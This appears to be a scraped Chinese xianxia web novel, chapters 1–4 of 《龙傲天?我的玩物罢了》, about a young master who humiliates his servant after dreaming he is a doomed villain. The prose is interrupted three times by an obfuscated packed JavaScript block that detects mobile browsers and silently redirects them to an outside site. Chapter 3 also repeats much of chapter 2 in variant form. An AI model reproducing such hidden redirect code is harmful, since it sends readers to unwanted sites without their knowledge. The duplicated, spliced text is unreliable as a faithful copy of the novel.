《龙傲天?我的玩物罢了》
1. 第 1 章
远山如黛,云雾浩渺。一座石亭坐落峰顶,三面开阔,视野极佳,藏匿于青翠古木之后,幽静出尘。
一人懒散坐于亭中,以手支颐,闭目假寐。
却有另一人慌慌张张扑到亭前,气喘吁吁,大呼道:“公、公子,不好了,出、出事了!”
“慌什么?”谢妄之闻声睁眼,向后微侧过头,鬓发拂过流畅锋利的颌角,脑后高束的乌发轻轻颤动,低沉声线掺着慵懒的哑,“天塌了?”
来者是谢妄之的仆从,年岁尚轻,生得一张讨喜的圆脸,性子单纯。
“不是不是!”小仆从闻言把头摇得像只拨浪鼓,叠声反驳,“是池无月冲撞了贵客,现下正被押在清明堂里,好多人看着呢!大公子请您过去。”
池无月一样是谢妄之的仆从,但谢妄之向来最喜欢他,平日都将他带在身边,也很是宠溺纵容。这下池无月被押在清明堂,保不齐要受什么责罚,他定然要为其讨个公道。
可话音落了半晌,谢妄之都没有反应。小仆从心中纳闷,忍不住抬眸看向亭中,试探问:“公子不是很喜欢他么,难道不去看看吗?”
“呵。”谢妄之微勾唇角,笑意却凉薄,而后慢条斯理站起身,往山下走,“去啊,怎么不去。”
方才他在石亭里小憩,连续做了两个荒诞迷离的梦,却又无比清晰真实,竟连梦境最后经历的痛楚,梦醒后还残留在他身上,令他浑身战栗,头疼欲裂。
一个在他醒来后便忘却。
另一个……他梦见自己生活在一部修仙话本中,不断地身死后又重来,活得像是牵线木偶,无法把握自己的人生,每一次的结局都相同的凄惨。
在这部话本中,他是前期负责折辱主角的炮灰反派,出身高贵,姿容卓绝,天赋异禀,平素高傲狂妄,行事随心所欲,树敌众多。却因自身实力出众与谢家庇佑,无人敢惹。
未想有朝一日竟自食恶果,被仇家设计,身败名裂。还被剜去剑骨,一夕间从天之骄子沦为残废,此后一生再握不住剑,直不起腰,下场凄惨。
而话本中的主角,命运与他截然相反。
起于微末,终渡劫登仙,与天同寿。还亲手创立仙盟,建立新秩序,打破修仙界中世家垄断资源的霸权局面,为后世敬仰。
如此人物,竟是他养在身边随意逗玩的贱奴,池无月。
话本中提到,他沦为残废之后,池无月荣登剑道魁首,多得是人巴结。有好事者将从他身上剜下的剑骨送给池无月,对方面色难看,大概是嫌晦气,随意丢了。
不仅如此,那话本中还具体提到池无月对他的评价。
一想到他平日对池无月的宠溺照顾,实际对池无月而言只是“折辱”,他对池无月的殊待,也只是“令人恶心”,提及在他身边的经历,更是“不愿回忆”,谢妄之就想笑。
难怪他跌落云端之时,身边跑得最快的就是池无月呢。得到他的剑骨之后,池无月便是随手丢弃,也没想过要还给他。
修者不常有梦,更有体质异于常人者,可在梦中预知未来,所谓“知命者”。
这般具体、完整、连续的梦境,狂妄如谢妄之,他只觉得自己便是“知命者”,并不怀疑其中的真实。
而得知池无月的真面目,谢妄之还会喜欢他吗?
呵。他可太喜欢了。
*
谢家的清明堂中。
适逢各世家子弟至谢家游学,此时堂中人来人往,多得是些上赶着凑热闹的年轻面孔,堂下围观者挤了一圈又一圈。
谢家家风肃正,建筑风格也与家风保持一致,清明堂中布置简朴端庄,硬生生被这群少年染上几分明媚鲜活。
只见堂中高位坐着一名青年公子,似乎在等着什么人,一手端着茶托,另手拈着茶盏轻轻滑动,慢条斯理地品茗,气质温文尔雅。他是谢家大公子,谢妄之的兄长,谢霁。
堂下跪着一名少年,神色平静地看着前方。面相看着大约十七八岁,风华正茂,五官昳丽逼人,身形并不十分健硕,有种少年人独有的单薄,挺拔而秀美。正是池无月。
他身边还站着几个与他年岁相仿,却鼻青脸肿、浑身挂彩的少年,大概就是池无月冲撞的贵客了。
池无月跪在堂下出神,只觉厌倦烦躁。
自他知晓自己只是一部修仙话本中的主角,一切只能按照书中所写行事之后,已不知轮回了多少次。
他一遍遍重复过着既定的人生,只觉枯燥乏味。也曾尝试过反抗、做出改变,可他故意退避、歪曲的剧情,总是能在他意想不到的时候回归最初。
便连他遇上的所有人,无论他做出什么事,对方给予他的反应也始终如一,像没有生命的人形木偶,呆板笨拙,愚蠢得可笑。
重复太多次,他早已能分毫不差地预先在脑中编排他将会遇到的所有人、事,像是给看不见也摸不着的观众唱戏。
他周遭的万物都是虚假的。
他哪里是什么主角,他只是囚徒。
“兄长。”
等候多时,清明堂中终于出现谢妄之的身影。
虽然堂中人数众多,但碍于谢霁的威严,堂中鲜有人交头接耳,一片鸦雀无声。倒衬得谢妄之不大的音量也如洪钟般响亮。
兀自沉浸在自己的思绪中,池无月并未意识到谢妄之出现在清明堂中的时机,与他预想中的差了些许。
“先前别人都在上课,独不见你。你去哪儿了?”谢霁闻声扫了眼姗姗来迟的人,随手将茶盏搁在桌案。说得严厉,神色并无波澜,语气也和缓。
“先生教的太简单,我懒得去。”谢妄之随意摆手,几步走到堂中,扫了眼鼻青脸肿的少年们,抱臂嗤笑了声,“明天才是擂台赛吧,怎么,你们这就排练上了?放心吧,再怎么努力也打不过我的。”
谢家子弟各个斯文谦逊,谢妄之倒是特立独行,嚣张又狂妄。家长管他不住,只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596423|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有谢霁的话他偶尔听听。但兄长去得早,此时再闻见他的声音,恍如隔世。
“谢妄之!你的人将我们打成这样,叫我们明日还如何比赛?伤得最重的,现在还躺着来不了呢!胜之不武,你有什么好得意的?”
被打的几个少年恼羞成怒,咬牙切齿地怒瞪他,眼神似能在他身上剜下一片肉,接着纷纷亮出自己的伤处,只见大片乌青,皮开肉绽,鲜血淋漓,好不可怜。
但其实这几个也不算什么好人,并非无故被打。他们因看不惯谢妄之,又不敢找本人麻烦,便聚众挑衅池无月,引得池无月动怒,出手伤人。
这个年纪,好的不一定学,坏的倒是一学就会。几人见池无月生得貌美,迫不及待用上最近所学,拿些从不正经话本上学来的腌臜下作话羞辱他。
但在场围观者并不一定知道实情,单看那露出来的伤口血淋淋一片、谢妄之那招人的性格与做派,再加上一点道听途说,便是无冤无仇的过路人,也很难对谢妄之生出什么好感。
于是风评一面倒:
“池无月只是个下人,怎么敢随便打人啊?还把人打成这样,都没法参赛了,肯定是受他指使啊。”
“谢妄之怎么这样啊,太过分了!”
“而且据说谢妄之最宠那个池无月了,现在还这么嚣张,肯定会保下池无月吧。谢家也管不住他,所以这事儿不会就这么了了吧?”
“啊?不要吧。真没想到谢家会这样……那我们还要在谢家待上一个月呢,要是他们再欺负人可怎么办啊?”
“谁让我们惹不起谢家呢,只能自认倒霉了。努努力,争取下辈子投个好胎吧。”
围观的少年们见状立刻义愤填膺,开始声讨谢妄之,乃至谢家。虽是窃窃私语,但修者各个耳聪目明,怎听不到。
“诸位,稍安勿躁。此事错在谢家,定会给各位一个交代。”
温润如谢霁,此时也听得蹙眉。虽然知道这些小辈只是初生牛犊不怕虎,说话无遮无拦,但也不能放纵他人诋毁谢家,置家族声名于不顾。
“谢妄之。”他看向自己的弟弟,面色微沉,“池无月是你带进谢家的人,你要怎么处理?”
闻言,谢妄之看向池无月。
少年正跪在他脚边等他责罚,却敢抬头看他。脊背挺得笔直,昳丽眉眼极具攻击性,目光不驯。
从前的他极喜爱对方这张脸,对其相当宠溺纵容,甚至不舍得给人刻下奴印,才让贱奴有背叛他的机会。
如今他已觉碍眼。
“抱歉,没有好好管教贱奴,确实是我不对。”
他微笑伸手扇了少年一巴掌,把人扇倒在地,白皙如玉的脸颊迅速浮出一个掌印,鲜明艳丽。
紧接着,他毫不怜惜地踩上对方的脸,鞋履压着那张漂亮脸蛋来回碾,微微俯身居高临下地看着对方在他脚底下挣扎,勾唇冷笑:
“池无月,你算什么东西,也敢这么看我?”
2. 第 2 章
池无月思忖着谢妄之为何会有这些异常,不知不觉有些走神。直到对方忽然停下动作,满脸不悦地瞪着他。
意识到自己又不自觉盯着人看,他便装作乖顺地垂下头,但对方仍不满意,冷笑了声,随即撂下碗筷,取出巾帕擦净脸,将其随意丢在桌上。
而巾帕的一角恰落在盛菜的盘子里,逐渐被汤汁浸润,洇成深色。
谢妄之脊背往后一靠,抱起双臂,冲着池无月微抬下颌:“盯我这么久,想必你也饿了。既然如此,剩的这些,赏你了。”
他唇角弧度略略扩大,表情恶劣又嚣张,“爬过来,像狗一样趴着吃,一点都不许剩。”
“……”池无月微微一怔,又难以自制地兴奋起来。
在清明堂里,谢妄之的反应与话本所写不同确实令他惊喜,但他其实不敢抱太大希望。
毕竟谢妄之太过高傲,只是为家族颜面惩治奴仆,面上其实也说得过去,实际的谢妄之可能与之前没什么不同。而剑招出错、吃下自己不爱吃的菜,这样小的事,偶然发生一两次也可以理解。
但此时四下无人,谢妄之不必再为了谁罚他,话本中也未写到这件事,谢妄之却依然选择羞辱他。
这似乎可以说明,羞辱他出自谢妄之“自己”的意愿。
这令他期待,甚至心生奢望:
谢妄之与他一样清醒,他在与一个“真正的人”对话。
既然如此,谢妄之想看他屈辱,那他便屈辱。
而谢妄之毫无所觉,看着池无月抬起头,眼神如狼犬般凶狠,薄唇紧抿,垂在身侧的双手也攥成了拳,不由嗤笑,用手指轻点了点桌案,出声催促:
“怎么,脚底生根了?那本公子便勉为其难帮你倒在地上,如何?”
“……谢妄之!”
少年似乎终于憋不住,咬牙切齿连名带姓地叫了他一声。纹刻在脖颈与右边脸颊的奴印猝然发亮,红梅开得更艳,似要沁出血。
似乎在与奴印的约束激烈争斗,少年身躯微颤,双目发红,呼吸变得粗重,快将银牙咬碎,颌角微鼓。
又挣扎片刻,他颤抖着缓慢屈膝下跪,猛然脱力,膝关重重磕在地上,发出闷响。
他直挺挺地跪立,却似有一只无形的大掌在用力推着他的脊背,直至压弯他的腰,迫使他不得不伸出双手撑在地上。
“还等什么?”谢妄之愉悦勾唇,冲对方轻勾手指,“爬过来。”
话音落下,少年果真手足并用地一步步爬到他身边,似不愿令他看到自己的脸,头颅低垂,乌发如瀑倾泻至身前,慢悠悠晃荡,身形秀美纤细,似野地里勾人的艳鬼。
等他的同时,谢妄之将剩菜统统倾倒在一个盘子里,躬身放到池无月身前。而后交叠双腿,用足尖勾起池无月的下颌,迫使对方昂起头,微笑道:“吃吧,乖狗。”
少年双目赤红,眉心狠折,眼神似能剜下他身上的肉。脸侧的梅花红得沁血,竟使这张脸更艳上三分,比妖魅更蚀骨销魂。
再屈辱,池无月也只得乖乖照做,像狗一样趴在地上,垂下头,一口一口去吃谢妄之的剩饭。不能用手,吃得鼻尖与脸颊都沾上油汁,触感黏腻,实在狼狈。
而谢妄之就坐在边上看戏,闲适慵懒地支着头。直到池无月将他倒的饭菜吃干净,才奖赏似的丢下自己刚用过的、还沾了汤汁的巾帕。
“……”池无月抬眸看他一眼,默不作声地翻到干净一面,擦自己的头脸。
“真乖。”谢妄之忍不住笑,伸手轻摸了摸少年的头,逗弄宠物一样,手指搔刮着对方的下巴。
不服管的贱奴终于低眉顺眼,叫他满意得很,手指轻触白日被他扇过的半边脸,描摹艳丽的掌印,随口问:“脸上还疼么?兄长是怎么罚你的?”
“……不疼。”
少年仍跪在他脚边,献祭般昂着头,身体在他触碰伤口时微微战栗,浓密长睫如蝶翅般轻颤,眸光潋滟,我见犹怜。
见状,谢妄之动作微顿,没再追问,只从袖中取出一只瓷瓶,揭开盖子,用手指取出一点晶莹膏体,亲自给贱奴上药。
少年惊愕挑眉,下意识往后一躲,见他蹙眉又乖乖把脸贴上来,低软道:“多谢公子。”
谢妄之哼笑了声。
羞辱池无月自然解气,可这还不够。
觉得恶心是吗?
那他偏要让池无月心甘情愿地任他拿捏,跪在地上求他垂怜。
*
翌日,世家演武比赛照常举行。会场聚齐年青子弟,热火朝天。
修仙界中,五大世家修炼法门各有专攻,为给年轻人提供交流切磋平台,每年各世家会定期组织开放游学。但除了世家子弟,也有不少散修参与。
而演武比赛是游学的常规项目,分为两轮举行,一轮是个人擂台赛,一轮是团体赛,采取积分制,胜者得分,失败不扣分,连胜翻倍,最后以积分排名得出优胜者。
每位选手都会得到一枚参赛玉牌,会自动记录选手的积分,并凭借玉牌匹配对手。最初遇上的对手是随机的,之后便会根据个人积分,匹配实力相近的对手。
谢妄之不论是去哪家游学,一向只参与个人赛,但未尝败绩,积分遥遥领先。于是他的比赛每次都成了众人关注的焦点。
轻松地一招致胜后,观众席爆发出一片喝彩声。而谢妄之淡然下台,又将手里的参赛玉牌交给裁判席,参与下一场的比赛匹配。
一个上午过去,他已连胜九场,导致匹配对手的时间也越来越长,等得他有些不耐烦,心中不好的预感也愈来愈强烈。
——在梦中,他的九连胜会被一个名不见经传的散修终结。
直到傍晚他才匹配到对手,果然是一名散修。
对方看着年岁极轻,生得唇红齿白、眉清目秀,却使一把大刀,本该是温润干净的长相,倒平添几分桀骜不驯。
谢妄之飞身上台时,对方已等他好一会儿,大概是之前也等过别人,一见他便忍不住抱怨道:“你们这些高贵的公子小姐,就打个架,难不成还要事先梳洗打扮一下么?”
“他们?我不知道。”谢妄之暗自打量对面,眸色微沉,面上只是耸肩摊手,“我只是太久遇不到对手,懒得在这等。”
对方疑道:“怎会?你一共打了几场?”
“九场,九胜。”谢妄之微微一笑。
“你!你叫什么名字?”少年睁圆眼睛,随即恍然大悟,“哦,你是那个,谢妄之?”
“嗯。”
“我打了二十多场。”
“哦。”谢妄之赞赏点头,“那你打得挺多的,好厉害。”
“……”
若是当真厉害,哪里用得着打这么多场?哪有谢妄之这么夸人的?
少年沉下脸,双手攥紧大刀:“记住了,我叫崔岫,是来终结你的九连胜的。”
能够达成九连胜,对手实力断不能小觑。但他也不是好惹的!!
说罢,他提刀冲了上去。银亮的刀身猛然迸出赤色的火光,火舌顺着刀柄攀缘向上,直到把他整个人都笼在火焰之中,光芒炽盛,似能与烈日争辉。
谢妄之站在原地,眉目一凛,侧身避让向他挥砍下来的大刀,趁着对方这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596424|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一瞬的停顿,猛地刺出一剑。
未想崔岫动作出乎意料地灵敏,飞速提刀接住他的攻势,短兵相接迸出刺目花火,甚至震得谢妄之有些架不住,只得后撤几步拉开距离,反手挥出数道冰寒剑气。
剑气在半空分裂,化作千万道冰锥,转瞬形成铺天盖地的光幕,整个演武会场都被笼罩在凛冽风雪之中,锐不可当。
崔岫忙将大刀架在身前,却被步步逼至擂台一角,周身燃烧的火焰险些被风雪浇熄,索性放弃格挡,仗着体魄强悍硬生生接下。
接着猛然催动灵力,刀身燃烧的火焰瞬息暴涨,伴随一声猛兽咆哮,只见火焰化作一头雄狮穿梭风雪,飞扑向谢妄之。
而趁着谢妄之与火狮缠斗时,崔岫融化了扑面的坚冰,接着大喝一声,再度冲了上去。
那柄大刀在他手中像是没有重量,提挥劈砍间不见明显滞涩停顿。招式霸道凌厉,不能硬接,又与火狮配合默契,一人一兽几乎打得谢妄之节节败退。
局势颠倒,台下观众的心跟着悬起来,气氛愈加火热,甚至有人开盘下注。
“虽然我不喜欢谢妄之,但是我承认他还是有实力的。”
“切,就他?兄弟别等会儿输得裤子都没了嗷!我押崔岫!”
“那我也押崔岫!”
不管台下人如何嘲讽,此时越是劣势,越要冷静。谢妄之深吸口气,仔细观察着对方的动作习惯,试图寻找突破口,边打边退,留存体力。
“来啊!只会躲吗?看来九连胜也不过如此!”
对手见他屡次退避,似是觉得他能获得九连胜,运气更胜一筹,出招愈加狠厉果断,想要快速终结比赛。
但随时间流逝,灵力已快要见底,他渐渐急迫起来,出招开始顾头不顾尾。
而谢妄之等的就是这一刻。
他故意卖了破绽,任由火狮扑向自己,不闪不避。
而在崔岫紧随其后欲要补上一刀时,他出手如电,随心剑尖已然悬停在距对方的咽喉不足三寸之处,逸散的寒气随时能突破对方的皮肤。
感受着刺骨剑气,崔岫浑身僵住,双目睁大,良久才放下刀,朝谢妄之拱手,心服口服道:“是我输了,你很厉害。”
“承让。”谢妄之微笑回礼。
台下寂静一瞬后猛然爆发出尖叫。
*
获得十连胜之后,谢妄之的积分再次翻倍,已高得令人望而却步,就算此后不再参与匹配,也没有任何人能超过他。
他回到自己房中歇息,掩上房门的瞬间,拼命捺下的猩甜一下冲出咽喉,下颌染上一片猩红。整个人也跟着摇摇欲坠,险些顺着门板滑落跌坐。
勉力站稳,他用拇指擦去唇边血迹,随即褪下自己的衣物检查伤口。
只见右边肩膀伤势惨重,整条手臂都在无意识地发抖,现下别说提剑,连握拳都难。
从衣袖中翻出伤药,但还未揭开盖子便因指尖颤抖得太厉害,失手让瓷瓶掉在地上。
他下意识蹲身去捡,可只是微微俯身便感到一阵强烈的头晕目眩,视野跟着一片花白朦胧。
而恰在此时,门板忽然被人轻叩:“公子。”
听出是池无月的声音,谢妄之不由蹙眉,第一反应是不能让自己现下这副模样被人看到。
但意识到自己为何会有这样的想法之后,他不由抬手掩面,自嘲一笑。
他生来高傲,从不愿在池无月面前示弱。
可那又如何呢?
到头来人家只觉得他恶心。
他强撑着坐到桌边,冷声道:“滚进来。”
3. 第 3 章
池无月思忖着谢妄之为何会有这些异常,不知不觉有些走神。直到对方忽然停下动作,满脸不悦地瞪着他。
意识到自己又不自觉盯着人看,他便装作乖顺地垂下头,但对方仍不满意,冷笑了声,随即撂下碗筷,取出巾帕擦净脸,将其随意丢在桌上。
而巾帕的一角恰落在盛菜的盘子里,逐渐被汤汁浸润,洇成深色。
谢妄之脊背往后一靠,抱起双臂,冲着池无月微抬下颌:“盯我这么久,想必你也饿了。既然如此,剩的这些,赏你了。”
见池无月僵着身体不动,他唇角弧度略略扩大,又恶劣地补充一句:“爬过来,像狗一样趴着吃,一点都不许剩。”
“……”
闻言,少年猛地抬起头,似是觉得屈辱,看他的眼神如狼犬般凶狠,薄唇紧抿,垂在身侧的双手也攥成了拳。
“怎么,脚底生根了?”谢妄之嗤笑,手指轻点了点桌案,无声催促,“既然如此,本公子便勉为其难帮你倒在地上,如何?”
“……谢妄之!”
少年终于憋不住,咬牙切齿连名带姓地叫了他一声。纹刻在脖颈与右边脸颊的奴印猝然发亮,红梅开得更艳,似要沁出血。
似乎在与奴印的约束激烈争斗,少年身躯微颤,双目发红,呼吸变得粗重,快将银牙咬碎,颌角微鼓。
又挣扎片刻,他颤抖着缓慢屈膝下跪,猛然脱力,膝关重重磕在地上,发出闷响。
他直挺挺地跪立,却似有一只无形的大掌在用力推着他的脊背,直至压弯他的腰,迫使他不得不伸出双手撑在地上。
“还等什么?”谢妄之愉悦勾唇,冲对方轻勾手指,“爬过来。”
话音落下,少年果真手足并用地一步步爬到他身边,似不愿令他看到自己的脸,头颅低垂,乌发如瀑倾泻至身前,慢悠悠晃荡,身形秀美纤细,似野地里勾人的艳鬼。
等他的同时,谢妄之将剩菜统统倾倒在一个盘子里,躬身放到池无月身前。而后交叠双腿,用足尖勾起池无月的下颌,迫使对方昂起头,微笑道:“吃吧,乖狗。”
少年双目赤红,眉心狠折,眼神似能剜下他身上的肉。脸侧的梅花红得沁血,竟使这张脸更艳上三分,比妖魅更蚀骨销魂。
再屈辱,池无月也只得乖乖照做,像狗一样趴在地上,垂下头,一口一口去吃谢妄之的剩饭。不能用手,吃得鼻尖与脸颊都沾上油汁,触感黏腻,实在狼狈。
而谢妄之就坐在边上看戏,闲适慵懒地支着头。直到池无月将他倒的饭菜吃干净,才奖赏似的丢下自己刚用过的、还沾了汤汁的巾帕。
“……”池无月抬眸看他一眼,默不作声地翻到干净一面,擦自己的头脸。
“真乖。”谢妄之忍不住笑,伸手轻摸了摸少年的头,逗弄宠物一样,手指搔刮着对方的下巴。
不服管的贱奴终于低眉顺眼,叫他满意得很,手指轻触白日被他扇过的半边脸,描摹艳丽的掌印,随口问:“脸上还疼么?兄长是怎么罚你的?”
“……不疼。”
少年仍跪在他脚边,献祭般昂着头,身体在他触碰伤口时微微战栗,浓密长睫如蝶翅般轻颤,眸光潋滟,我见犹怜。掩在袖中的双手却攥紧成拳,掌心深陷。
见状,谢妄之动作微顿,没再追问,只从袖中取出一只瓷瓶,揭开盖子,用手指取出一点晶莹膏体,亲自给贱奴上药。
少年惊愕挑眉,下意识往后一躲,见他蹙眉又乖乖把脸贴上来,低软道:“谢谢公子。”
谢妄之哼笑了声。
羞辱主角自然解气,令他心情愉悦。
可这还不够。
觉得恶心是吗?
那他偏要让主角心甘情愿地任他拿捏,跪在地上求他垂怜。
*
翌日,世家演武比赛照常举行。会场聚齐五大世家及以外的年青子弟,热火朝天。
五大世家修炼法门各有专攻,为给年轻人提供交流切磋平台,每年各世家会定期组织开放游学。为了不给家族丢面,派出去的自然都是精英。除了世家子弟,也有不少散修参与。
而演武比赛是游学的常规项目,分为两轮举行,一轮是个人擂台赛,一轮是团体赛,采取积分制,胜者得分,失败不扣分,连胜翻倍,最后以积分排名得出优胜者。
每位选手都会得到一枚参赛玉牌,会自动记录选手的积分,并凭借玉牌匹配对手。最初遇上的对手是随机的,之后便会根据个人积分,匹配实力相近的对手。
作为谢家少家主,谢霁坐于裁判席主持。也不知他如何处理昨日的那事儿,今日几人碰见,也算相安无事。
谢妄之不论是去哪家游学,一向只参与个人赛,但未尝败绩,积分遥遥领先。于是他的比赛每次都成了众人关注的焦点。
这次也一样。
轻松地一招致胜后,观众席猛然爆发出一片喝彩声。而谢妄之淡然下台,又将手里的参赛玉牌交给裁判席,参与下一场的比赛匹配。
一个上午过去,他已连胜九场,根本没有遇到对手,导致匹配对手的时间也越来越长,等得他有些不耐烦。
直到傍晚,他才遇到新的对手,是一名不隶属于任何世家与门派的散修。
那名散修看着年岁极轻,生得唇红齿白、眉清目秀,却使一把大刀,本该是温润干净的长相,倒平添几分桀骜不驯。
谢妄之飞身上台时,对方已等他好一会儿,大概是之前也等过别人,一见他便忍不住抱怨道:“你们这些高贵的世家公子小姐,就打个架而已,难不成还要事先梳洗打扮一下?”
“他们?我不知道。”谢妄之不动声色地打量对面,耸肩摊手,“我只是太久遇不到对手,懒得在这等。”
少年一怔:“你一共打了几场?”
“九场,九胜。”谢妄之微微一笑。
“你!”少年惊愕地睁圆眼睛,“你叫什么名字,你是那个,谢妄之?”
他先前便听过谢妄之的名字,但从未交手过。能连胜九场,运气自然好,但实力断不能小觑。
“嗯。”
“我打了二十多场。”
“哦。”谢妄之赞赏点头,“那你打得挺多的。”
“……”
少年有些不高兴,沉下脸,双手攥紧大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596425|155977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刀:“记住了,我叫崔岫,是来终结你的九连胜的。”
就算对手实力很强,但他也不是好惹的!!
说罢,他提刀冲了上去。银亮的刀身猛然迸出赤色的火光,火舌顺着刀柄攀缘向上,直到把整个人都笼在火焰之中。
谢妄之站在原地,侧身避让向他挥砍下来的大刀,趁着对方这一瞬的停顿,猛地刺出一剑。
未想崔岫动作出乎意料地灵敏,飞速提刀接住他的攻势,短兵相接迸出刺目花火,甚至震得谢妄之有些架不住,只得后撤几步拉开距离,反手挥出数道冰寒剑气。
对方将大刀架在身前格挡,火焰几息间便融化了坚冰,接着大喝一声,继续冲了上来。
那柄大刀在他手中像是没有重量,提挥劈砍间不见明显滞涩停顿。招式霸道凌厉,不能硬接。
谢妄之仔细观察着对方的动作习惯寻找突破口,并不急于出招,边打边退。但局势表面上看是一面倒,使得台下观众的心跟着悬起来。
“我天哪,谢妄之会输吗?”
“不会吧。虽然我不喜欢他,但是我承认他还是有实力的。”
“来啊!只会躲吗?看来九连胜也不过如此!”
少年见他屡次退避,似乎是觉得他能获得九连胜,运气更胜一筹,出招愈加狠厉果断,想要快速终结比赛,渐渐急迫起来,顾头不顾尾。
而谢妄之等的就是这一刻。
他故意卖了破绽,在大刀砍向自己肩膀的瞬间,随心剑尖已然悬停在距对方的咽喉不足三寸之处,逸散的寒气随时能突破对方的皮肤。
崔岫浑身僵住,缓缓放下刀,朝谢妄之拱手:“是我输了,你很厉害。”
“承让。”谢妄之微笑回礼。
台下猛然爆发出一片尖叫。
*
获得十连胜之后,谢妄之的积分再次翻倍,已高得令人望而却步,就算此后不再参与比赛,也没有任何人能超过他。他也不再参与匹配,而是回到自己房中。
掩上房门的瞬间,拼命捺下的猩甜一下冲出咽喉,下颌染上一片猩红。
他用拇指擦去唇边血迹,小心翼翼褪下自己的衣袖检查伤口。只见右边肩膀大片淤青,整条手臂都在无意识地发抖,现下别说提剑,连握拳都难。
他从衣袖中翻出伤药,还未揭开盖子便因指尖颤抖得太厉害,失手把瓷瓶丢在地上。
只是思考一瞬,谢妄之便传音给池无月:“过来,帮我上药。”
而池无月其实一直悄悄跟着他,看他打了一天的比赛,连他中途去山上石亭偷闲都跟着。此时正如昨日一般藏在树上,应声之后特意等了一会儿才进去。
但他有些困惑。因为他认识的谢妄之,从不在他面前示弱。
谢妄之有其他的仆从,若是受伤了,上药这种事,永远轮不上他来干。甚至养伤的那段时间,谢妄之会故意躲着他,不叫他跟着。
“不为什么。”
闻见谢妄之的声音,池无月这才惊觉自己竟是把话问出口。
但对方显然不知道他在问什么,只是自负地勾唇一笑,续道:“只是不想输。”
4. 第 4 章
不想输?
闻言,池无月回忆起方才那场比赛。
那名散修,崔岫,他认得,日后也是名动三界的存在,人称“玉面刀客”,曾以一人降魔三千,妖邪再不敢进犯。后来加入他麾下,是他的得力手下之一。
而与谢妄之的这一场比赛,是崔岫的成名战,不仅终结了谢妄之的九连胜,还最终拔得头筹,将一众世家子弟的脸面踩在脚下。
此后,谢妄之虽不至于一蹶不振,但他的陨落确实从此处开始。
他知晓崔岫的实力,自然也清楚,这一战谢妄之打得多艰难。而在他的记忆中,从前的谢妄之没有赢过一次。
连这样的剧情都能扭转么?
回忆起自己无数次的失败,到头来只能在囚笼中徒劳挣扎,任由看不见的丝绳一遍遍牵引他照着话本上演,池无月愈加兴奋期待起来。
这个人,到底还能给他多少惊喜?
……他也能得救么?
“愣着做什么?快些。”
谢妄之打断他的思绪,用另一手将伤药丢过来,随即褪下外衣,赤着上身坐在一把圆凳上,微敞双臂,方便他上药。
“是。”池无月应了声,依言过去,低垂眼睑遮去眸中幽暗,视线落在谢妄之的脊背,指尖轻触上去来回摩挲,一点点给人涂抹药膏。
剑修也锻体,身为剑道翘楚的谢妄之更是如此。
他身材颀长,肩宽腰窄,浑身肌肉紧实,脊背线条如山峦连绵起伏,流畅分明,汗水顺着沟壑滚落,隐没在深色的下裤。
蜜色肌肤本该光洁无暇,此时却布了大片青紫,似被烈火烧灼,还有几处斑驳的焦黑。却无损他的气度,反衬得颇有男子气概,斑斓色彩交混着冲击视觉,愈发叫人挪不开眼。
而上药途中,他注意到谢妄之搭在双膝的手掌紧紧攥成了拳,指骨分明,小臂浮起根根青筋。大概是强忍着疼,却从头至尾一声不吭。
他悄悄抬眼去看谢妄之的脸。
薄唇紧抿,沾染艳丽血色。颌角锋利,侧颜深邃如刻。晶莹汗水顺着脖颈流淌,在喉结凸起处凝滞一瞬,猛地加速坠落。
“……”池无月顿了顿,克制地收回目光,转移注意力似的出声嘱咐,嗓音微哑,“这几日,公子还是小心一些,不要沾水。”
“怕什么,死不了。”对方嗤笑了声。
“……”池无月默不作声垂下头。
不是的。是因为要再上一遍药。
*
后背有伤,谢妄之只得趴着睡,大概是因压迫胸口导致呼吸不畅,他竟又做了梦。
在梦中,他再一次被人剜去剑骨,像条虫一样只能在地上爬,无论是谁都能欺负他。他不肯低头求人施舍,便只能与野狗争食、啃树皮,三天饿九顿。
为了躲避仇家追杀,他只得东躲西藏、隐姓埋名,把自己弄成人不人、鬼不鬼的模样。衣着脏乱不堪,蓬头垢面,甚至身上散发出不明臭味儿,刺鼻难闻,叫人退避三舍。
可最后还是被人找到,当场敲晕,五花大绑带走。
他原以为找到他的是他的仇家,未想到,对方只是将他囚在一处屋中,将他刷洗干净,每日好吃好喝地供着他。
忽有一日,紧闭的大门被人推开,晨光如瀑倾泻,他终于见到授意将他绑来此处的人。
但他看不清对方的脸,也认不出对方是谁。
那时他正趴在地上,准备爬到窗边坐坐,视角太低,只能看见落在面前的一双雪色靴履,衣角同样纤尘不染。
对方撩起袍摆,单膝跪在他身前,向他俯身的同时,隐有浅淡梅香传来。纤长手指轻捏住他的下颌,迫使他仰起脸,却只是望着他,一语不发。
